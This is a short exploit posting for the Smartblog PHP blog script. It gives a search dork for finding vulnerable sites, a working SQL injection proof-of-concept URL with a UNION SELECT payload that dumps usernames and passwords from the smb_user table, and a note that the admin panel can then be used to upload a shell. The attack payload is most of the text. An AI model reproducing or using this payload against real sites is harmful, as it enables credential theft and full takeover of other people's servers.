smartblog-sql.txt

`###################################################  
[~] Smartblog remote SQL injection exploit  
[~] Script download : http://ftp1.toocharger.com/scfQ9NS/smartblog_3868.zip   
[~] Founder: His0k4 { ALGERIAN HACKER }  
[~] Greetz : All friends & muslims HaCkErS...  
[~] Contact: His0k4.hlm[at]gmail.com  
[~] Dork : Actionnée par smartblog  
[~] P.O.C :  
---------------------  
http://localhost/[script_path]/index.php?idt={SQL}  
[~] Exemple :  
http://localhost/[script_path]/index.php?idt=-1 UNION SELECT 1,concat_ws(0x3a,pseudo,pass),3,4,5,6,7,8,9 FROM smb_user--  
---------------------  
[~] Note:  
Admin http://localhost/[script_path]/?page=login.html  
You can upload a shell from the admin panel   
---------------------  
###############################################  
`